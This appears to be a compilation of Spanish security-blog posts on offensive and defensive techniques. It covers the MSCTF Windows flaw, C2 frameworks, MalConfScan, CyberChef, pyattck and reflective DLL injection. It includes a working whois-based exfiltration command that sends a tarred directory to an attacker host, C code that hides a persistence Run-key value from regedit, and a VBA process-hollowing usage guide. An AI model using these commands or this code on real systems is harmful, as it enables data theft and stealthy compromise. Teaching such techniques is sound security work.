De XP a Windows 10: explotando Microsoft CTF

Tavis Ormandy de Project Zero de Google ha publicado una vulnerabilidad que afecta a todas las versiones de Windows, desde XP a 10.

El problema está en el subsistema MSCTF que es parte del framework de servicios de texto o TSF (Text Service Framework). El TSF administra cosas como métodos de entrada, distribuciones de teclado, procesamiento de texto, etc.

Hay dos componentes principales, el servidor/monitor ctfmon y el cliente msctf. El servicio ctfmon arranca cuando se inicia sesión en la máquina como puedes comprobar simplemente viendo el administrador de tareas:


Este servicio crea un puerto ALPC (Local Inter-Process Communication) al que las aplicaciones se conectan para intercambiar mensajes sobre cambios en el layout del teclado o métodos de entrada. Cuando cualquier proceso crea una ventana, el kernel invoca una devolución de llamada o callback, USER32!CtfHookProcWorker, que carga automáticamente el cliente msctf.

El cliente se conecta al puerto ALPC y manda su HWND, el subproceso y la identificación del proceso.

El servidor espera continuamente los mensajes de los clientes, pero los clientes solo buscan mensajes cuando se les notifica a través de PostMessage(). Esta es la razón por la que los clientes llaman a RegisterWindowMessage() al inicio.

Exfiltrando información con un simple comando 'whois'

Hoy en día solemos abrir el navegador y usar servicios web de 'Whois' para consultar el dueño de un dominio o dirección IP. Pero no olvidemos que Whois es también un protocolo TCP que se creó en los años 80 y que todavía podemos usar desde la línea de comandos: sólo tenemos que tener el puerto 43/TCP abierto y podremos consultar directamente un dominio e información de AS e IP... ¿¿sólo??


Pues evidentemente y como habréis podido imaginar podemos usar también 'Whois' para el "mal", como por ejemplo exfiltrar información a través de este protocolo. Andy Kawa nos enseñaba un método sencillo para hacerlo. Veamos cómo...

En la máquina del atacante levantamos un netcat y lo dejamos a la escucha, volcando la salida también a un fichero:

ncat -k -l -p 4444 | tee files.b64

Y ahora, desde la máquina que hemos comprometido o desde la cual queremos transferirnos un fichero simplemente tenemos que empaquetar el directorio que queramos exfiltrar y mandarlo en base64 (recordar que tenemos que tener el puerto 43/TCP abierto). En mi caso, como veréis a continuación, en vez de mandar una cantidad determinada de bytes lo limitaré por número de caracteres:

tar czf - /path/to/directory/* | base64 | tr '\n' '\0' | xargs -0 -s 2000 timeout 0.03 whois -h attacker.machine.IP -p 4444


Una vez recibido el "stream" en base64 sólo tenemos que realizar los pasos a la inversa para obtener el binario:

$ file files.b64
files.b64: ASCII text, with very long lines, with CRLF line terminators


$ cat files.b64 | tr -d '\r\n\ ' | base64 -d > exfiltered.tar.gz 

$ file exfiltered.tar.gz
exfiltered.tar.gz: gzip compressed data, last modified: Mon Aug 11 02:47:24 2019, from Unix


Y ya está! tenemos en la máquina del atacante el fichero transferido.

Listado de frameworks de post-explotación/C2 de código abierto

Recientemente @xorrior, uno de los desarrolladores de Empire, anunciaba que no se iba a seguir dando soporte/actualizando su famoso framework de post-explotación. Pero tranquilos... estoy seguro que este maravilloso proyecto no morirá. Sirva de ejemplo que nuestro compi Luis Vacas, ayudado y animado por la Comunidad y los locos de Likor aka nos encargaremos de darle la coña, pronto actualizará e irá añadiendo funcionalidades nuevas al mod que tenemos en el github de Hackplayers (que además esperamos ver en directo en la conferencia h-c0n de 2020 ;-) ).

Mientras tanto y a propósito del anuncio de Empire, leía un post en PentestIT donde recopilaban una lista muy interesante con un montón de frameworks C2 de código abierto que pueden servir de alternativa. Muchos de ellos ya los hemos probado y escrito sobre ellos en el blog, otros simplemente tienen tan buena pinta que se hace imperativo probarlos. Os dejo la lista con dos o tres C2 más que conocía:

1. APfell: es un framework C2 multiplataforma, hecho con python3, docker, docker-compose y una interfaz de usuario nweb. Incluye soporte para múltiples perfiles C2, múltiples tipos de payload incluyendo una interesante extensión para Chrome y JavaScript para Automatización (JXA) en Mac OS. Y además mapea con MITRE ATT&CK. Curiosamente, este framework se inspira en familias de malware conocidas como PlugX, Flame, etc.

2. Aura Botnet: un framework orientado a botnets muy portable con un servidor C2 basado en Django. El cliente está escrito en C++, con clientes alternativos escritos en Rust, Bash y Powershell.

3. Covenant: lo que lo diferencia sobretodo este framework del resto es que admite .NET Core, que es multiplataforma. Por lo tanto, Covenant puede ejecutarse de forma nativa en plataformas Linux, MacOS y Windows. Además, Covenant tiene soporte para Docker, lo que le permite ejecutarse dentro de un contenedor en cualquier sistema que tenga instalado Docker. Consta de tres componentes: Covenant (componente del lado del servidor), Elite (componente del lado del cliente) y Grunt (implante).

4. Faction C2: Se centra en proporcionar una plataforma fácil, estable y accesible para las comunicaciones C2 a través de las API REST y Socket.IO. Podemos usar Marauder, un agente de .NET de ejemplo para Faction C2 Framework pero también podemos crear fácilmente nuestro propio agente. Además este framework tiene un sistema de control de acceso basado en roles y los datos pueden consultarse usando consultas SQL.

Extracción de configuración de malware con MalConfScan (plugin de Volatility)

Todos los días, se descubren nuevos tipos de malware. Sin embargo, muchos de ellos son en realidad variantes del malware existente: comparten la mayor parte del código y hay una ligera diferencia en la configuración, como los servidores de C&C. Por lo tanto, si obtenemos la configuración tendremos prácticamente lo más importante de un artefacto de malware.

Hoy en día no existen muchas herramientas que aglutinen extractores para un buen número de familias malware o, exceptuando CAPE, un excelente fork de Cuckoo-modified, yo al menos no conocía muchas. Pero recientemente JPCERT/CC ha publicado en Github MalConfScan, un plugin para The Volatility Framework que extrae datos de configuración de malware conocido, actualmente los siguientes:

Ursnif HawkEye
Emotet Lokibot
Smoke Loader Bebloh
PoisonIvy AZORult
CobaltStrike NanoCore RAT
NetWire AgentTesla
PlugX FormBook
RedLeave NodeRA
TSCookie njRAT
TSC_Loader TrickBot
xxmm Remcos
Datper QuasarRAT
Ramnit Pony (pte)

Como decimos, MalConfScan busca malware en las imágenes de memoria y descarga los datos de configuración. Pero además, esta herramienta tiene una función para enumerar cadenas a las que se refiere el código malicioso.

- malconfscan: extrae la configuración de malware conocido de una imagen de memoria
- malstrscan: detecta procesos sospechosos de una imagen de memoria y enumera la string a la que se refiere

Instalación de MalConfScan

Clonar MalConfScan de repo de Github

$ git clone https://github.com/JPCERTCC/MalConfScan.git

Instalación de requisitos de Python

$ pip install -r MalConfScan/requirements.txt

Copiar MalConfScan a la carperta de plugins de Volatility

$ cd MalConfScan
$ cp -R malconfscan.py utils yara [Extract Volatility Folder]/volatility/plugin/malware

Técnica Anti-VM con MSAcpi_ThermalZoneTemperature

Hoy en día es extremadamente fácil escribir muestras de malware utilizando técnicas anti-VM diseñadas para detectar entornos virtuales o de sandboxing. Como estamos en verano y en plena ola de calor (al menos por estos lares), qué mejor manera que ver un técnica que se basa en comprobar si el sistema nos devuelve la temperatura del procesador...

Se trata una de las técnicas más comunes, que es usar WMI para consultar la clase Win32_BIOS para interactuar con los atributos de la máquina física. Concretamente la clase WMI Win32_TemperatureProbe representa las propiedades de un sensor de temperatura (termómetro electrónico).

Con el siguiente comando obtendremos la temperatura en décimas de grados Kelvin (si queremos grados centígrados simplemente /10 - 273) :

wmic /namespace:\\root\WMI path MSAcpi_ThermalZoneTemperature get CurrentTemperature


Y con la siguiente función/implementación en Powershell de Ialle Teizeira (@teixeira0xfffff) obtendremos el mismo resultado:
function Get-AntiVMwithTemperature {
    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"

    $valorTempKelvin = $t.CurrentTemperature / 10
    $valorTempCelsius = $valorTempKelvin - 273.15

    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32

    return $valorTempCelsius.ToString() + " C : " + $valorTempFahrenheit.ToString() + " F : " + $valorTempKelvin + "K"  
}
#resource https://medium.com/@DebugActiveProcess

Consiguiendo persistencia invisible al editor del registro de Windows (regedit)

Hoy vamos a ver como, mediante algunas llamadas al API nativa de Windows, podemos crear valores en el registro que Regedit no puede mostrar o exportar. Esta técnica se recogía en un paper de eWhite Hats y con la misma se puede conseguir persistencia casi "invisible" e incluso almacenar de binarios "fileless".

En este post nos centraremos en el primer caso, básicamente, la posibilidad de escribir un valor en la clave Run que Regedit no puede mostrar, pero que sin embargo Windows leerá correctamente cuando la compruebe justo después de reiniciar.

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
wchar_t runkeyPath_trick[0x100] = L"\0\0SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
if (!NtSetValueKey) {
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
}
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2)))
printf("SUCCESS setting hidden run value!\n");
else
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)\n", setRet, GetLastError());
RegCloseKey(hkResult);
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)\n", openRet, GetLastError());
}
}

En la función anterior, NtSetValueKey se pasa a UNICODE_STRING ValueName. ValueName.Buffer normalmente se establecería en "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" para establecer un valor de la clave Run.
En su lugar, anteponemos esta cadena con dos NULOS WCHAR ("\0\0") para que ValueName.Buffer sea "\0\0SOFTWARE\Microsoft\Windows\CurrentVersion\Run”

Usando CyberChef (parte I)

CyberChef se ofrece como una navaja suiza vía web para tratar datos y realizar operaciones de cifrado, codificación, compresión, entre otros… en esta serie de artículos vamos a sentar las bases para trabajar con ella, hacer algunos ejercicios y así entender para qué nos puede ser útil en el ámbito de la seguridad informática.

Antecedentes 

 El año pasado descubrí por casualidad esta estupenda tool dentro de mi investigación de el entorno de respuesta ante incidentes con Skadi (https://github.com/orlikoski/Skadi) ya que estaba incluida en el repositorio de herramientas, si tuviste la oportunidad de ir a la charla que ofrecimos en la h-c0n 2019 (https://www.h-c0n.com/p/ponencias.html#rateando) la comentamos por encima:



A raíz de este descubrimiento, la quise probar más a fondo, ya que para los trabajos de respuesta ante incidentes tiraba de linea de comandos, recursos web y algunos scripts que iba haciendo sobre la marcha.

Referencias

Esta navaja suiza mantenida por la gente de GCHQ está disponible desde el 2016 y muchos de vosotros ya la conoceréis, sin ir más lejos ya había una entrada en este blog: https://www.hackplayers.com/2018/12/solucion-al-reto-28-baby-crackme.html.

Nos podemos descargar su código del Github https://github.com/gchq/CyberChef o directamente acceder a su versión online https://gchq.github.io/CyberChef/. Básicamente tenemos tres campos en este recurso web: entrada de datos, operaciones a aplicar a esa entrada y el resultado de aplicar las operaciones.

Conocimientos previos y recursos

La idea de esta serie de artículos será sentar las bases de como utilizar esta herramienta y poner una serie de ejemplos para que se vea su potencial.

Para empezar a sacarle partido a esta tool, tendremos que tener cómo mínimo conocimientos de expresiones regulares, operadores booleanos y ciertos algoritmos simples/complejos. Vamos a dejar algunos recursos en español para empezar:
A tener en cuenta la ayuda de la misma aplicación a nivel de operaciones con definiciones propias y de recursos externos, en el ejemplo siguiente con la referencia a Wikipedia sobre XOR

Implementación de process hollowing en VBA

Ya sabéis que Process hollowing, también conocido como Process Replacement o RunPE, es una técnica que hoy en día utiliza mucho el malware y consiste en que un proceso legítimo se carga en el sistema únicamente para actuar como contenedor de código hostil: el proceso legítimo se inicia en un estado suspendido y su área de memoria se reemplaza con el código de un segundo programa. Eso será ejecutado en lugar del original. Hoy recopilamos la implementación de esta técnica en VBA gracias al francés Clément Labro.

Su código se puede utilizar para lanzar ejecutables desde la memoria de Word o Excel. Es compatible con versiones de Microsoft Office 2010 y superiores y con arquitecturas de 32 bits y 64 bits.


Uso 1 - Archivo PE en disco

1. En el exploit al final del código, hay que establecer la ruta del archivo que se desea ejecutar.

strSrcFile = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Nota: Si se está utilizando una versión de Microsoft Office de 32 bits en un sistema operativo de 64 bits, se deben especificar binarios de 32 bits.

strSrcFile = "C:\Windows\SysWOW64\cmd.exe"
strSrcFile = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"

2. También se pueden especificar los parámetros del comando (opcional).

strArguments = "-exec Bypass"

Esto nos dará el equivalente a:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec Bypass

3. (Opcional) Enable View > Immediate Window (Ctrl+G) para comprobar si se ejecuta bien y ver los logs.

4. Ejecuta el exploit con la macro!

pyattck: un paquete en Python para interactuar con el framework MITRE ATT&CK

Si te dedicas a threat hunting y tienes el foco en las tácticas, técnicas y procedimientos (TTP) utilizados por ciertos actores/grupos, entonces ya sabes que el framework de MITRE ATT&CK es muy valioso...


MITRE proporciona una guía con un diseño simple y directo, pero puede ser útil también usarlo mediante programación para medir (o asignar) ciertos controles de seguridad utilizando su framework. Afortunadamente el equipo de investigación de Swimlane ha lanzado pyattck, un paquete Python para interactuar con el framework Mitre ATT&CK de una manera bastante sencilla y que nos permitirá identificar relaciones conocidas entre todas las verticales en MITRE ATT&CK.

Imagina que queremos asegurarnos que estamos protegidos contra las TTP relacionadas con Dragonfly y en lugar de mirar a través de un mapa visual la información sobre este actor, podremos usar pyattck para extraer las herramientas, el malware y las técnicas asociadas o utilizadas por este grupo. Entonces, para recuperar las técnicas usadas por Dragonfly podemos instalar pyattck (pip install pyattck) y programar un sencillo script como este:
import sys
from pyattck import Attck
attack = Attck()
for actor in attack.actors:
 if sys.argv[1] in actor.name:
  for technique in actor.techniques:
   print(technique.name)

Inyección reflejada de DLLs en Windows

Normalmente cuando se carga una DLL en Windows se llama a la función LoadLibrary, que toma la ruta del archivo de la DLL y la carga en la memoria. Sin embargo, existe una técnica que permite a un atacante inyectar una librería en un proceso remoto (víctima) desde la memoria en lugar de desde disco, una forma más sigilosa de ejecutar código malicioso: hablamos de la inyección reflejada de DLLs o, en inglés, "reflective DLL loading".

No obstante, Windows no tiene una función como LoadLibrary para llevarlo a cabo, así que para obtener la funcionalidad tendremos que escribirla nosotros mismos.

Implementando la técnica

La técnica más común para inyectar DLLs de una forma reflejada, bien documentada por el irlandés Stephen Fewer, es doble. En primer lugar, la DLL que queremos inyectar debe estar escrita en el espacio de direcciones del proceso de destino/host. En segundo lugar, la DLL debe cargarse en ese proceso host de tal manera que se cumplan todos los requisitos de tiempo de ejecución de la librería, como resolver sus importaciones o reubicarlas en una ubicación adecuada en la memoria.

Suponiendo que tenemos ejecución de código en el proceso del host y que la librería que deseamos inyectar se ha escrito en una ubicación arbitraria de la memoria en el proceso del host, la inyección reflejada de DLLs funciona de la siguiente manera:

- La ejecución se pasa, ya sea a través de CreateRemoteThread(), una función de API no documentada equivalente como RtlCreateUserThread o un pequeño shellcode bootstrap, a la función ReflectiveLoader de la librería, que es una función exportada que se encuentra en la tabla de exportación de la librería.
- Como la imagen de la librería existirá actualmente en una ubicación arbitraria en la memoria, ReflectiveLoader primero calculará la ubicación actual de su propia imagen en la memoria para poder analizar sus propios headers para su uso posterior.
- ReflectiveLoader luego analizará la tabla de exportación de los procesos del host kernel32.dll para calcular las direcciones de las tres funciones requeridas por el cargador, a saber, LoadLibraryA, GetProcAddress y VirtualAlloc.
- ReflectiveLoader ahora asignará una región continua de memoria en la que procederá a cargar su propia imagen. La ubicación no es importante ya que el cargador re-ubicará correctamente la imagen más adelante.
- Los headers y las secciones de la librería se cargarán en sus nuevas ubicaciones en la memoria.
- ReflectiveLoader procesará la copia recién cargada de la tabla de importación de su imagen, cargando las librerías adicionales y resolviendo sus respectivas direcciones de función importadas.
- ReflectiveLoader procesará la copia recién cargada de la tabla de reubicación de su imagen.
- ReflectiveLoader llamará a la función de punto de entrada de su imagen recién cargada, DllMain con DLL_PROCESS_ATTACH. La librería ahora se habrá cargado con éxito en la memoria.
- Finalmente, ReflectiveLoader devolverá la ejecución al shellcode inicial que lo llamó, o si fue llamado a través de CreateRemoteThread, el hilo terminará.

* Si queréis ver código C/C++ para implementar muchas de las funciones necesarias os aconsejo que echéis un vistazo al post de 0x00Sec aquí.

Reflective dll inject en Metasploit

Asumimos que el atacante ya ha obtenido una shell de meterpreter en el sistema víctima y ahora intentará realizar una inyección reflexiva de DLL en un proceso remoto, más específicamente en un proceso notepad.exe con PID 6156.